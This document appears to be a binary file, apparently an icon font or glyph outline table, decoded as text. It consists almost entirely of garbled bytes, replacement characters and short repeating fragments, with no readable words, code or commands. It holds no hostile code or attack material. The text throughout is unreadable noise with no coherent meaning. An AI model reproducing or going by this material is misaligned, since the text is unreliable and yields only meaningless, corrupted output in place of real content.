8�*�*@�����k�kk�K.BB.k#TT;O#w����+049"264&2"'&""'&54&2"'&""'&543.53753=������*:�*:T%/p8T/������wl	<Ippl'<����-9264&"2"&4%2+"&5#+"&=4;23543267#"'7��������kk�k4888T8*3?&@�����k�kk�%**�%
	����1"264"'732677+"&5#+"&=4;2354;2=������3?f888T8T�������
	%�*����/C264&"2"&4."'>2&"&54567676>"&547&'&��������kk�k

-4-
$?L?

#�
#
@�����k�kk��%%�
����/;"26467676"&54&>"&547&'&."'>2=������#

�
#
�
-4-
$?L?������#
'�%%����'3KS$"&54567676'.>"&547&267"&'74'&"&'2654'6"&462$#

�
#
?4-
$?L?$
'5<�<5�����kk�k�
(
�%%5..50%4;]��];4%��k�kk�����+?K4'&"&'2654'667676"&54&>"&547&'&"&'7267�5<�<5����#

�
#
�L?$
-4-
$d5..50%4;]��];4%Z
'�%����'264&"2"&4462"6462"&462"��������kk�k~!.!!.O�@�����k�kk��.!!.!�""""����"264"&462"&4626"&462=�������O.!!.!(������A""�!.!!.�""����9264&"2"&4462"6462"3&'.#&6767>��������kk�kF�4
 4
 @�����k�kk�p*	
*	
����1"264&2"&4&2"&4&'.#&6767>'3=��������4
 4
 �������
*	
*����#264&"2"&46264&"264&"3#��������kk�kF��pp@�����k�kk������"264#5362"&4&2"&4=������pp�������������#264&"2"&4'&462"6462"��������kk�k
�
�@�����k�kk�r"8"�����"264&2"&4462"'7=�������
�
�������"8"����26o.#"32#!5#>7676=4&#"&#"&#"54&""435463276327632#&'.#"&46325462�"" ''

!.!�p
		
	�5(H�#0#TT
-
A!!��Mm	


	#
	!����d26o%#>54&"5#35;2654'654'654'3264&"42%+32+".'.'567>546232��#0#TT
-
A!!��Mm	


	#
	!��"" ''��

!.!�p
		
	�5(����26o5#"&46326767#5!##"'#"'#"'"&4"=332?32?326=4.'.'##"32>76726�"" ''

!.!�p
		
	�5(�#0#TT
-
A!!g��m	


	#
	!����d26o73.546253#5+"&547&547&547#"&4624"%;#";2>7>75&'.54&"#"8�#0#TT
-
A!!g��m	


	#
	!��"" ''��

!.!�p
		
	�5(����!2#!"&7462"42#'4�.� ����	&	;�����}���TT����"264$2"&43#3#+�kk�k������8888Vk�kk��������8�����73#72#575#56"264$2"&4�88pT8T���kk�k�����L8�T888Fk�kk�����������"264"&462'3##535#533=�������kk�k�88TpT��������k�kk��8�Tp����"264'3##535#533=������88TpT������/8�p�����4264&"'63247#"&������(/Fb���(/Fb�������/(�bF/(�b����"264#'#57'5373=�����pHH(HH(HH(HH(������HH(HH(HH(HH����
"264'77=�������])4��������y+B�����%#375#535#53�~�~~�~�8888>B~�~~��88�����+%'7676/&'&'&76??6'&���@��@��@��@��@��@��@��@���H'z�bF�H�bF������R'777''��VX�V�o�'�X�UW�Ub}�'�V����
.26<3354&+"353#%5#";5#554&+326=4#2#535#53'7788888lTTT8TT8888p�b$>�T���88��**�*F88��~A�h��53!2=4#!"��\�TT����%#54+"#";;2=32=4��T��T�ؚ�T��T����7#5355#53357##5���TT���p��88TT��TTpT�8p�����%5#535#'!#5#35P��Tp��4�pph888T8pTTl�p8�T����"264"&462'=�������kk�k��������k�kk��bb����"264"&462%3#73#=�������kk�k��88p88��������k�kk���������"264"&462%3#=�������kk�k������������k�kk�������264&"2"&4'7'7��������kk�k
bbpbb@�����k�kk��FF�FF����"264"&462%7=�������kk�k��bbpbb��������k�kk��FF�FFT��lH
T��H��8���H3#3#8��Č�H��P��8���H!!8P��H��b�:7''����:���̌��Tz:755����4���8���H377''88����P�����̌���8���H#5555�8����H������4����p��4H37'p8��P���̌����PH#55P8��H����4�����H5!!!��@��@08P����d/;"&4764'&462&"&4764'&462&"&4764'&4626/#53�
;;
HHQ++77Q''OjFF<�<H�H!
+z+
8�8"L'n'��j����d+$"&4764'&462&"&4764'&4626/#53C++77Q''OjFF
+z+
8�8"L'n'��j���&d6"&4764'&4626/#53�''OjFF<L'n'��j����d6/#53�jFF^��j����d6/#53#'#57'5373�jFF^%//%//%//%/^��j��%//%//%//%/���e
2#"/#5376##5#53533�		jFFj
T8TT8Td��j�j�TT8TT���e
2#"/#53763#�		jFFj*��d��j�j�8����7!7'!3!55!5#8pp��8P��ppP8�TppT�8TppT�����&#">3235"'7#73267'~A]Gs5V5F1?��F1?�BA]Gs5V>BQ@0=1?��x1?�BBQ@0=�,753'33'75#3#7�TppT�8��88TpphTpp�8�8Tpp����"+'"63".'&'&#237'2767&'�pU1#L"/!
1U"/!
1Upp��U1#pT**TT
 =*8
 =*TppT8**����577'7!p�p�p��0p�p�p����3353�����������7pp�p�p�p�p�pP����%'#3����������'!�p�p�pPp�p�p����7#5##���@�������'7''Pp�p�p@p�p�p������5535#5�����8���H726=264/3264&+8��dĄd��8���e%'&"2?265264���\\Ќ�\��\7���H#";2?26=l�d��H��d����H!764/&"!"3!2��\��\��\\8���H%4&"'&"#";���dļd��8���d72?64&"4&"'&"@��\\p��\��\8���H264&+764&"54&"�d����d����H264/!264&#!764&"���\��\@��\\����$2"&4264&"72+"/"&=��������kk�k�Hxx��������k�kk��xxH�����'$"&462264&""/"&="&4?62��������k�kk�_p@@p��������kk�k2p@��@p����$"264"&462'";2?26==�������kk�k�Hxx��������k�kk��xxH�����'"264"&462/&"#";2?64=�������kk�k2p@��@p��������k�kk�_p@@p����$"&462"264"&46;'&4625462=�������kk�k�Hxx@�����k�kk��xxH�����'$4&"2$462"?64&"54&"'&"2��������k�kk�_p@@pC�������kk�k2p@��@p����$264&"2"&4264&+764&"54&"��������kk�k�Hxx@�����k�kk��xxH�����'2"&4264&"?6232+"/&4��������kk�k2p@��@p��������k�kk�_p@@p����!!7'3355!5!'3=4��4ppp��pp4�̌,8Tpppp��ppT8T�pp����
!!!'7��x�T�T8����@��\�F�T8������!!!��x���@��\�����!!!3#��x�������@��\�T�����"264"&462&462"=�������bb�b�1F11F��������b�bb�#F11F1����"264"&462=�������bb�b��������b�bb�����7'#5##333535#'37lTT�8TT�8TT��TTTT8�TT8�������e%9AU%&+'764''#"3276'73276&#"&547>76326"&462#"'.'&54632�&
p��p
&'$$'��

Q  w

JpF��FpE%,,%E!

C  ~

����%"26=7546762"'&'&'6=���!.!��i<�<<�<�)*����*				���H757�p�H����,����!"&#"3&547;737#73267^A]d!M2JA/W^4 
yY>!r/|c]�8l+���d	%3'35#7#''#3#53#5�8FF88FF8pT8�8T0TT�TTTp8��48p���d	'7355'#3#535#5pTT�TTT8�8T8FF88FF8lp8��8pT��ld!%654&+;2654&'32+#5326B.888T.B�,,FFF�).B�xB.3�!.!�p!.!T��ld3"&=32765!!48RtR8H���d�4JJ4���88���d#3#53#5�8�8�8�8d��P���d*%#"'&53264&+53&'&4762#4&"32�g,(p(,82D22"�,,(p(,82D22"5(�1!!1!!.!!b!!1!!.!����!37#5>54&"#535.54624p�,6Z�Z6,�p>N���N>8p^V5FaaF5V^p8c=QssQ=c����%73!57'5!#'.#!326��\����ޛ��#?)� ��cp��
���,#'!53#57#5##53#%3#=33#!53���pppppppppp�xppp,��4�8888�8888T888T88p888
���d#'!53#57#5##53#%3#=33#!53���pppppppppp�xpppd�x��TTTT�TTTTpTTTpTT�TTT����#'/37?CG3#73#7#535#53#73#'3#533#73#7#535#53#73#'3#53%!!!�88T88�T8�88T88�8T88T88�T8�88T88�8T�x��@,p8TT8p�p8TT8p��x��@�8����3####5"&46��8888.BB�8�x��x�B\B����"3333357'�.BB.8888�@pp�B\B���x�8��pp����"333335p.BB.8888ppp�B\B���x�8Tpp���,!!!!!!!!!!!!��@4����@4����@4��,���,!!!!!!!!'!!!!��@T������T��@��@,TT�T���,!!!!!!!!!!!!��@�4�̌��@�4�̌��@�4��,���,5!!!!!!!!!!!!��@��@��@��@��@��@�TT4TT���d!!!!!!5!!!!��@������@��@d88p8�8p8���d!!!!!!'!!!!��@T����T��@��@d88p8�8p8���d!!!!!!'!!!!��@�������@��@d88p8�8p8���d!!!!!!!!!!��@��@��@��@��@d88888���d!!!!!!!!!!=��@���������@pd88888p�T���d!!!!!!!!!!'��@���������@ppd88888�T���d
!!!'!/75#TP����P�T@�@Td��P������\T@�@T0�3'73#37~pp8pp�8pp8pppppppp���H?#37#37'38p8pp8�8pp8p�F*F�ppp�ppp���P���d#!!!!!'###53535#5#5333#53��x���P�pTTd�x���P��T����%%"'64'73264&"&#"327264&z��)):)�))�):))L^^):))^):)^)):)����&-!"3!2654&32'6545&#"'777'7u��,,*,,���{{RQ��O((OQR�,��,,*,p��Ĩ`QP//PQ`����%!"3!2654&2'63"#7'7'"#u��,,*,,��c
f��f
c�,��,,*,8�����
f���f
�����!"3!2654&'7'77'7u��,,*,,��"p
h
��
��[
p�,��,,*,�|"p
�
tt
�t�
p����%"264%32'6545&#"'777'7=��������{{RQ��O((OQR��������Ĩ`QP//PQ`d��Zd(<D#"323*#"32654&'.5467654&'3#"&54632.6Yu(>2'
0CE35>
	!%U",3"

0-&-&d4"$14!&3""	
#&��=%$	{+;(*<���d(<DP#"323*#"32654&'.5467654&'3#"&54632.675##33535�v'?2(
0CF25>
	!%U!-4"

1-&-&�TTTd4"$14!&3""	
#&��=%$	{+;(*<#TTTT����*1!"3!2654&#5##5546;##5#535337#532u��+++,,`FF~#&�T8TT8Tbb%$�,��,,*,FFFFF	$F�TT8TT�F$������8GK^54566.%54&#!"6;#326=##5#5353:3&547"#"'64'.'&#&;64I<$2<#
�,��+/3�#2,�,TTT��0!%$�
>")}�6O85OM%,**	2/"
		-#
,�TTTT�X5 		
'"����-9EW7&'>32"6;#3264&#5#53533''.'&63"&547323*�N3,!aCp !	!,%&)]��888�%#;0 -%:3		`G-"
 -	����8888$&(*�),%""+
���c737/#'7�K�K�����K�_��%�޹ށ�p��B�#5#53546;#"3#�T88'4>'
E=@�M.32M'M����#!"3!2654&##5#53546;#"3u��,,*,,IT((+0M?
T�,��,,*,���@*,.E
#����2537#546;5#"#3.54���qSMT88#1**Sq��]U
�881#8o2
U]����/;!"3!2654&3"&547#!"&=32654'7+"=4;2v��,,,,,���2F2���,JjJ,�,��,,,,�#22#p88p5JJ5b�����W067&#".'"'0#"'#"'32>5456�(&69b#)* 			/2@@M=f?#+!6&
3*1!3#')/L\.����>!"3!2654&#"'327.'327.5413&547&546326767u��,,*,,%/bA=3	3)&
	" 
:], �,��,,*,�4_B! )	(J	,
	����6"264#"'327"&'327.5413&547&546326767=�����_*Y:7/.$"		5T'������-U;$$A'
����6"264'234&'234.T1##1#wW{V�zb�aVGx�7#1""1�V{Wz��Va�b[�xG����'!"3!2654&"&4624&#5234&#52u��,,*,,��  :O7No*�`v��,��,,*,��8N7oN`�7�v����"264"&4624&#5234&#52=�������1>+=V*oN`��������+>*V=No*�`���H!"3!26=4&5l��#11##11�H1#�#11#�#1���p���H"!"3!26=4&#!"&=463!27'l��#11##11!��!!!���H1#�#11#�#1�!!�!!�pp���`,5>27>76'&6#"&'.>'8D7	2-2/	%$+	(!�	�
1Ld2F!5/%Q*0
4%&	����5!"3!2654&.'.'&'>763276&676u��,,*,,0
R$
*

	(&�,��,,*,�6`	
	y"
60
)����-"264.'.'&'>763276&676=�����\
R$
*

	(&������=6`	
	y"
60
)����4!"3!2654&&''.4>767>676u��,,*,,#�
Y
V[	�,��,,*,��0	�� 0��<62"6462"9R99R�9R99RiR99R99R99R90��$"264&2"&4462"u.!!.!aR99R9�9R99R�!.!!.K9R99RRR99R9����!"3!2654&"&462"&462u��,,*,,�:)):)�:)):)�,��,,*,��):)):)):)):����"264"&462"&462=�������:)):)�:)):)�������):)):)):)):����%'632!#"'&5467&'4�$',(3=��g=,(.�?5@ԟ
��g=,(3=N�>i��%D���� '.!"3!2654&2'6467&&'7"'537#5u��,,*,,�,(��<11�T3Hp,(�U�A'-�,��,,*,}��9^2��$9H�A'-p�U1,����
*1;G"&462'&6&'032'>767&''77&'7>7&#"64=�����#9>Ee43B'�'<"	acU\!&)8�'!27H�5 AD@�����>	I@/@EL
 
)@,(Jq;4Gg4<"0F&

C����+;CIS7&54577&'632'>761#"'>!"3!2654&"&462'6&'67&&'&�5"+VV`>!?HQJ1$!C
"9..���,,*,,c�ss�s�62<
0@%;9�	$&0@~%5.q'>-�B=$,��,,*,�\s�ss�=	G)8{(.;
����&07EK&'632&54576"264"&462'&'67&&''>761#"'>76&O>!?35"+VVN�������ss�s�@%;9:QJ1$!C
"9..;62<
%5.�	$&0@ჺ�����s�ss�`
(.;
+'>-�B=$	G)8����
##535#5#3#���Ĩ88888��x88�8����73#!"3!2654&#5#�88���,,*,,�8p���pl,��,,*,��884��.�"7&7&'.'&#'7'636&7� 5�A'FZ+.�:s:G�4 �_:
"%5::k908C����-3!"3!2654&#523&'&##5476767532%6767u��,,*,,�D)F�!,8.:���,��,,*,��g#�*=8
K���d"6>$462"6&"'&276'7676"&5053276&/6326"&4624""s9RZED#J m �0#

	#�:)):)�""S9 �6	
51$!-b�#	#0�):)):����9AI7276&/632#"&'2#!"&=276'76764&"'54634&"2&462"�
##" 	�,,��,5 J m 9RZ_,=):)):G""	#0#!n,��,,X#.!!-bR9 �@y,�:)):)5""���H-KS[532>54'>&/&&#"."47>2>*.6462"&462"$/00/%$" 88 "$7'&	'/'	���1%%16(
 
		
 
(m """"���d7U]e6"'&6276'2>54'>&/"&"."47>2>".6462"6462"�



� $/0;0/%$",X,"$<&%	&.&	4�


y!5''5!;*#

#*m&
		
&#		#""""����L"26454'>54'6/&&#".#&'.'&47>762=�����A4"	





	"44"#L#"4�������4"
"

""4"#L#"44"#L#����)1;GWw"3254'&'&547>54'675#&2#"547"54327"32654&#3&=4"=3:35#547##6313275g!

-%[F	%*%+$w
77}
*9

$$
)$
L0
	/
2��"$
"�p�
��!Z/	
/Y)	1����AMYz�73254#"!"3!2654&#"'&5475&5475&'&54763227#6=4'36#"&54632#"'&=35#"5354'33"&+327'"3254'&s��,,*,,�	1? 		7&&



d
'	�4:,��,,*,�!!5	
�ji�
�="
	"?S
����/7AIQ7'4'&546323&#"2372#7/.63372#76327&57>54&"264"&46284+P
0A+J-	
=%,	
=n2\
4'-K�������ss�s�0O� +("
�lF
�6(	�
��K-*��������s�ss�����AQY7#"'77654'47.7>32"#"'76&##'"3'76&##"%!"3!2654&"&462�4�-'4
��P+4J+A0
=-		%=��,,*,,s�ss���
�-K�$*# �O�"(+
(6�
Fl�
�,��,,*,��ss�s����2Kc>27'&.#"7'&%4&#"&7627>'>6/"/732654&'"&4?'3267?j
,(5!#
d,d
U#"5d,d,
3(c-d-6 #�d

-(#!7(c�,'#!6d,df#
d,d,6"�7'd,d,
#!ed-(7!#(c����".%#"&'4&+";26=4&%32+"&46#"&46;2�T=I=UU=�=U��TT����<PU<�<UU<f
8�����'3?!"3!2654&+"&=46;2;2+"&46;2&+"&46;2u��,,*,,@-v-@@-7.?
	
Tpp(88�,��,,*,��-?@,x,@<-

=`T��l�7327#".=#567>733� /"
<"Hp�f*	D!�@
-#pT����.!"3!2654&#".=#567>733#327u��,,*,,T  	*
,GG	

�,��,,*,��	m,
H7O�,	!5%'46;2+"&=46;2&"264#3#535'#53#753s8!



��bb�b8 4*p*PT.Th��<



�RtRRt4  P. ����:Rt�7'&'&23276&76.36723276767673.%&>41.&#"#&'&'&'&7676767632'&'&'674&"&'454>�(3'
.2&�(L2+?!8
&
y��#


�	
	
	

!1#>
EFA1/4?278P!

	#, 8W'$	>
	
	-,)����!*%47&'&#"&#3>32726767&'6'Z15=32

+*;9%&�6* XL$�"&!$����+/7=7"'73237#47#3&5"'3#%#3673'#533&'&'##36�WQNRT7�
�l�Z648;�Tk"!2*&08ac���8p*,$$'�8��
�����1EMU$"26=4$"26=4;26=326=326=#?6&&"'&3."&462"&462�����0(�(�d�pppp�8888��""""6!!6A���i&27&#"#63267&32?#"'7&'&#6%#"'327'3� '(!(*
-'0!$0%&#4�'()"*&*a'$2'().%(��/^ ��|��J����d=7?#'5'53�����������!�� ���0��$*%".#"23264&37'##'7337'#37'#�:(�""�#M1�%4�!. obbbbGEFF888����+17=!"73#'3!26=#"#&=4763263254&#'73#'73#'73u��,,*,"�(:",��11�,�],,]!�4% �,��8888GEFFbbb���}J%654&#"&#"32732654&'&676676&'.7>76.#"�yU$3HyU#3H�.7	)
)#/E4$J/	%"+"C�UxH3$UxH3&\)	.&'-('.	
(I���HLT]en6462"6462"6"'.>274&#"&'73264&#"'&&#"2654'>&2"&44632&"&4627&'632p�
	!Z!	
B�!!-9!@G-8,!!s�sM			��
�``�`
\ �!L"
f!:RR:�			��?X??Xf����-!"3!2654&#53&"&462#54&"#53632u��,,*,,�88�888%�,��,,*,����pp�##)�&B%"&/.#"3267#"&4632654&'.54632&#"g"*
+
1(88(.(@7NN7*A
*&'"*
%3 a 9P9(0NnN*(+:	
!%'!",����J!"3!2654&"&/.#"326?#"&546323254/&54632&#"u��,,*,,M65	 '/341-2#/4."H-! ;�,��,,*,��)&-%& &
'
636;$,-/"9
3>����!"3!2654&+5#546;3u��,,*,,�����,��,,*,��ĕ�����.?!"3!2654&""&=326=4632'54&"&=726=3u��,,*,,�1F181#"2$�1F1$8�,��,,*,�p#11#88p#1/�#13'6

68����&7"264'""&=326=4632'54&"&=726=3=������1F181#"2$�F1$8������p#11#88p#1/�3'6

688#����%!53!5!!?'77'73��@8P������:"�h��pp8u6<7�3w2_-� ����6"264".'&>7&>>&'.&7>76=������

$
;11C,7T	=�������
+7;6*(+&#494B.@20;^����>!"3!2654&".'&>7&>>&'.&7>76u��,,*,,�

$
;11C,7T	=�,��,,*,��
+7;6*(+&#494B.@20;^����!4!"3!2654&#"&?5'&6;217+"'&1616;2u��,,*,,��04!0	!4�lD1El1�,��,,*,��[9	:]
�}
~�
����,"264#"&?5'&6;2117+"'&#616;2=�������(+),�Z9)9[)�������K/0M��hi�����+"754676332?##545&#";26=�PQh
7�z1
7�z�PQ�ZVP�hz&*I��z&*I�ZVP�����9EV!"3!2654&#!"&5463!2'&"&'.2?64/7'762'&'60?"/7u��,,*,, ��  *]+		=.		i		i		W�	.2a
i	h�,��,,*,�u  * +

(=

	i		i		M��-C"zR	ih1
��(9#'&"&'.2?64/762'&'6'"/70?�2l+		=.		i		i		l�	.2	�i	hFa��+

(=

	i		i		[
-C"Q	ih8R����$-+#73732676&+33732676&32+�


"%2d:R<Y
E1�WCsR<Y
$�8'6G	35 ��F=AG�p0�G=0A
! ����$+2+#73732676&+33732676&73'32##�


"%2d:R<Y
E1�WCsR<Y
$�(`8;&G	35 ��F=AG�p0�G=0AA;4Y����!FO2++;27676'&+7#33732676&'+#73732676&732#
%%2R K#6 
#8��WCsR<Y
$"


"%2d:R<Y
E�8'd.3oX� $n��p0�G=0A	35 ��F=AG�n! *����+C[n%326?654&/&'2;7676&/&'"'>57'&'."#4&/.?0>&7657&
9		-jk3	<-	X	\_
	o
K	J	b_
@") ;^
� }<	0L
#Q
n����"&+"3!2=4'!327#"6=4�
�P
�̚�T\v
�\�
�����\T����5;CMYmt�%&#&&'&'67>'&'5&+"32767327676'&67672&546767#"'6327'.+"3!2654&#5#!"54;23p	

*+65,"��d	!
-�	 >
$�BHO���o~		&'D#	J^+�
	
�>
��
$
H��zo����+2B%&66&&&26366763&7'.+"3!2654&#5#!"54;23.1$8:&:*)#RG. ;?>
$�BHO���o�R*�>
��
$
H��zo����")9%3'#'#3737#7'.+"3!2654&#5#!"54;23/!010!,8Js>
$�BHO���o�c�����Q>
��
$
H��zo����
!(8%#'#35#73'7'.+"3!2654&#5#!"54;23E;**;GPs1=P�>
$�BHO���o�>>jv(!Iv�>
��
$
H��zo����!%9@P3+3#;+3#;+3#3#;2=#537'.+"3!2654&#5#!"54;23�*******************888�>
$�BHO���oHb~p�>
��
$
H��zo����&6AJ73#3#3#'.+"3!2654&#5#!"54;233#"&546?2#56TTTTTTT7>
$�BHO���o�S') *)S�>
��
$
H��zo� )')S����&67'7'7'7'.+"3!2654&#5#!"54;23�TT8pTT8W>
$�BHO���o�TT88TT8�>
��
$
H��zo���� AU\l754635"+3235"&=4&#26#26=46;5#"&=4&#23"7'.+"3!2654&#5#!"54;23�!!p!!s>
$�BHO���ot2%%22%%2�>
��
$
H��zo����7#31/3?#'3$��$O��ef177�
���m--��3�M'@�����7#1'!/#1?#'37#$��$C��Bd771fe���
��m--���%%X�@'M�32����k!!!'7#7C2
��2{kK��CkK1KV))%ZDDR����+7'>32#&#"737654462".54732q@\4<g�(=���[[�/D//DA@Rm[8"�o'-<21'+\��$0RD//D/p
}T;3�%���f�%&'..'&#20"0&'.'076#&.'6766'&&'&'6767456'&'15147676161036705141450509&#1"#"'67&"'&'5676772367>4�	
5


	!!!
(

	

	
	


9l&;"	�!=
 

5<
	

'(
 1
+.b	).;-1���\'-39%3654'6'&"#"6773267#"&'&=>27&'6&7Ag"Q1Ch+6&6(\).?dh(/(
/@/N!8?��';Dm
4,I"R?7%ZL=
(-I93 ,, �63��M@$����!"32654&#".54>2�\vw[\xx
 0!�{c\��\c{�(6! .!%5546����(Hhjx�"056'&#"0264&'&67632&&'#"'&'7'&547677632'&#''073767'657'0/63231&'&61#"#1&'?�	
CU{�{{��'
B/#.'
B/#2V
	/4BV
	/4+	0d	

	pGW{{�{��#.'
B/#.'
B�B/4
	
VB/4
	
I����6462""264.467r++��������3>>33>>�**�������h|hh|h����+C%54&+";346;2654&!"54>;2&##"&=4726732PB.p/AA/

B.!8/AA��8	p8!8�88"4		�86:7988:.A!88978

88-�-8!!
	
����!4F%+"&=470&+346;2654&'2&+".54>37#";226=4&l)888"5B.!8/A/�8"88		pp/AA/8!.BB�08-8
8.B!8806z88-
	

87988!B.86:����*726=4&+";27+54&+346;2654&�.BB.p/AA/8!�Q95B.!8/A/hB.86:7988!V9P
:.A!8806�����H#2#"&767">;654.�-@#
�52�@]/*#?�)<<! 	I3E83AC>/
*88)=$�����H%654.#">3�)<<%@]/*#?088)=$3AC>/
*���d2+"&=4637#"346;264&.BB.p8"1#��:RB.!pFbb,B\B-�#18R:�.B!b�b���d5346;264&+"B.!pFbbF�:RL.B!b�bR:����"73264"/5'&5462�s9]Qs�(RtRR�sQP:r>s�� )9:RRtR����"73264�s9^Qs�sQP:r>s����H7'TT�T��T�T�����
"264'77=�������g(?�'�������g'?�'���d%'7''7�vvNvvNvvNvv*vvNvvNvvNvv����"264''7'77=�����q(GG(GG(GG(G�������(GG(GG(GG(G����"264'2&546"'7=������5,�cE5,�c������K�,5Ec���,5Ec����'7%7��T��pT��Tp��T�����4264&"234&234&234&!.!!.3��8՗Qs8�i#18R.!!.!P8����p8sQh�p81#:R������#4.#52#4&#52#4&#524&#�@g�h��@�jW�V�@K5Oq�%@h�g@���j�@V�W5K@qO%@����#57&#"2?32654�FIE.B��.B1FJFB.��B.����	)2626514&"7#"&547&'"&'#"'2654"&4?�!/!!/�
1=?10����]B!OP!�0!!!S
&'	>L^��^M�B]!OO!]����'/%5'&'7'&/#'737677'67"&462�C(B	8
C'BB(B
8
C'{E11E2�8	C'BB(B
8	B(BC(C
1F11F����5##5##!5!!5!!!7!P8p8p��xP��P��8��H888888�8�8�8	����*6!3!33#73#73#3#73#353'5462"&75462"&��@8P8��88p88p88�88p88p8��@���Pp8888888888�8888	����#&*6B"&=#"&=#!#535#53#535#53535#53'5462"&75462"&l!.!8!.!T���8888p88888888��H!!!!�x���888�888�888�8888����5%"'654'73264&"&#"'.#"327327264&�V	d
!!.!c'C

C1##U!.!!0=c!.!!
d	
	#1<	!!.!���H	?5!'!5��@����i77�j�����d2'>32767"&#"54&D'��'
..>&&>3I��I,"��"11866I3��3I���d
&#"54&#"�&>3I��I3>.6I3��3I����#7'##7'##7'#!#!5!5!5!�887N89B88O898888�778��P��P8888888888�@�8��888��P�
#!33��P��pp��@4�Pp���P�#!5��P�p��@4pp����!77''33'54��qppo87pp9��pY��A\]]]4�-]]-�8pY����
!775/��ppppČ��@]]]]04������%#5##3353��p��p�ب�p������"264##5#53533=�����pT8TT8T������yTT8TTh��5!!��@�p����"264#53=�����p��������y8����/74&#""&#"732654&5>"&463502?36"&462�B.3FbU�*4Ec �]AA/,!.,.!!.!.BbF4+�UcE4�B]A
,.!,.f!.!!.����=&"&#"2?32?>'76#"'764&"&54?6322?�9#*:)T$	99#*:)T#
9bT#**T#+*	p9)T$d(99)T$d(9�#T**#T++����%'���T�PT��8��8����
73'3=#7##'7;55#�8TT88TT8TTTTTpTTTThTTTTpTTTTT8TT88TT8����?3'3575#7##'73'355#�8TT88TT8pTTTT�TTTTLTTTT�TTTT88TT88TT8����"2645#3'35#'735#7#35=������88888888888�������88888888888����';4&"#326=35#'4&"#326=35#%#54&"#326=3��ld�8TT8��8��88TT8������6"'75&264&"�688�B\BB\h
�88��\BB\B����6"'75"264"&462�688
\BB\BY.!!.!h
�88�B\BB\f!.!!.����
"73264"&462_�a�\� Eay[@@[A�aE �\�a��@[AA[����!)19A+4&+"+3;26=3+"&=3264&"&264&"264&"&264&"�88!p!8881#�#18p���`H!!8�#11#����`�`����'/7#4&+"+3;26=35"&462&"&462"&462&"&462�8!p!8881#�#18��`H!!8�#11#�8��`�`����'247#"2654&"42"&4625#4&"#53p8�B\B|Dpp��.BB.4��T`�����
#"2654&"&4625#4&"#53ĨB\B8p���.BB.4��`�����)1"35353573264"/###57'&5462&264&"ntR��88
:R�	(888�1F11?�R:
�p888Rt�(88!�	#11F1`����"35353573264"&462ntR��88
:R��R:
�p888RtV����
!#!53#5337#53���pPp��8�p���p��p8�p8����
!2#&'&546"35476543#iF1!))!�tR8p8�ppH2"****"jR:F*$$*F:��8����7&463"'72654'?BB�]Ec1"�Ec1"B�A��cEF1ecEF1#A]]�����
#552654/"7&463N')R:88Qs�8Qs:')R:+()tR88sQQW8sQQ:()tR���H%4&"462#7#�s�sRtR8pp8�QssQ:RR:pp����&"5#35#76764'7�4�4N8�FL$l%%%+(*6�''(L44NJ�8L%$%j%+'*6���(''8���d%"&46;7'#"265PB\BB.!'TT'!Fbb�b�.BB\B'TT(b�bbF8���d%"&46;7'#"265PB\BB.8TT8Fbb�b�.BB\B8TT8b�bbF����%3"'2?35%#7627&"5#3BK#k$'5�5Q8��BK#k$'5�5Q8��8K$$(55QN�8K$$(55QN����H)7#46;2354&+"#!3+"&=#;2653�8�81#�#18TT8�81#�#18�#11#TT#11#���d-7#546;2354&+"#%3+"&=#;26=3�8�81#�#18TT8�81#�#18�#11#p8p#11#���H%+55326=%46;7'#"3��pp�#1�x�pp�#18�8TT81#8TT81#���H%+553265%37'#"346��pp�#1���pp�#18�8TT81#T8TT81#���H
%!'7!%!7'!���ppP�@Ppp��08TT8p8TT8����
73'3=#7#p8TT88TT8hTTTTpTTTT����?3'3575#7#T8TT88TT8LTTTT�TTTT����"2643'35#7#=������8888�������88�88L��
7#'7;55#�TTTTpTTTT�8TT88TT8L��7#'73'355#�TTTT�TTTT�8TT88TT8����$4&"2''7355�������88�88C������8888����%#7'7'3��TT��TT��TT��TT����$4&"2'73#�������pppC������pT8T����264&"73#'���������8@������88����537'#�TT��TT�hTT��TT����4264&"5#535������ppp�������pT8T����"2645#535=��������8�������88����57'7TT��TT@�TT��TT�����264&"7##5#�������pT8T@������ppp����4264&"##5#7������88���������8����'7'5�TT��TT��TT��TT�����"264'3533=������pT8T�������ppp����$4&"2'3533�������88C��������8����"264"&462=������.  .!������� .!!.����
!"264$2!6"&462'2.>3=�������lV����9R<P�R9P������K>22�`E
]gE`>]��P�/626=4&"#5>=4&""&=4&"#"34&�.!!.!p<PB\BP<!�!�!p!!p�;
]>.BB.>]
;!!���d%#54&"#";5462326=4&�b�bTB\BT�8FbbF8p�.BB.�p���H	7"&46;7'3527>4&'&#52p.BB.8pp�
&//%0B\B8��88&8
=M<
���H	
7"&46;7'%#53p.BB.8pppp0B\B8��8T8��P�
P�������P�3#3#pp�pp��@��@����!!��@��@����5!!��@��Ah��8p����-3#���P�@pp@��8������
3#P��Ppp����������
"2645=����������������p����
!7'7#35'75#73'7''X@(@@���@@'?@(@@�@ب@?'@@@(@@��@?'@��(@@�@�@@'?@����
%#77'57''3%3575#�p$\(\\(\$p��(\$p$(\(\$php$\(\�\(\$p�(\$p$�\(\$p����
%'35#77'''3'#7�@(@@���@@'?@(@@�@X�@?'@@(@(@@��@?'@�(@@�@�@@'?@����
%'357'7#%75#''3'�\(\$p�d\(\$pt\(\$p�(\$p$\(\$p\(\$pL\(\$p��(\$p$��P�!#";26=4&"&4627#546;2�p.BB.p.BBZS�!p!�B.�.BB.�.B�[D�!!0�%#54&#!"3!26=3#!5!�8��P8p����p0�%#54&#!"3!26=3+53�8��P8ppp��p0�%54&#!"3!26=35���P8��p0�%%54&#!"3>33#3#"&'#3!26=35���Y	+8888+	YP8�888p����776&77&2"&4$"264�Hz,H|8�cc�c������|HLzH�c�cc�����������5!!3'+3��@��8�8�8���Ppp����5#3!265!5%!533��!P!8��P��p�H8�x!!P���8p8����	#!"&=!%5#!5��x����$�p8p8����#-%654&"27'#"&462'#5#"3273'"&46;������A'1FEcc�c
-p.BB.%8!.!!804<]����B'1c�ccE�A]B�!!/ �����#"&4?64&"&462264/7�kL&q
(6L6r+<+='	!@Kl%o(L66Lo<++<='%[ ����72+35#"&=#6264&"��8!.!!.�p88�8�.!!.!����	&26514&"6"&4?64&"#47627653N):)^!.!8! ^ !!]

8):].!!.!  !\!^
	��P�+"33333P8888.BB.8888�B\B���x�����%5#7##7##3#33733735#7#73�F8p8b[MF8p8b[Fpp�8pppp8p8pppp8ppp���H
5#4635"#5#4635"�pB.EcppB.Ec�.B8cE��.B8cE����H
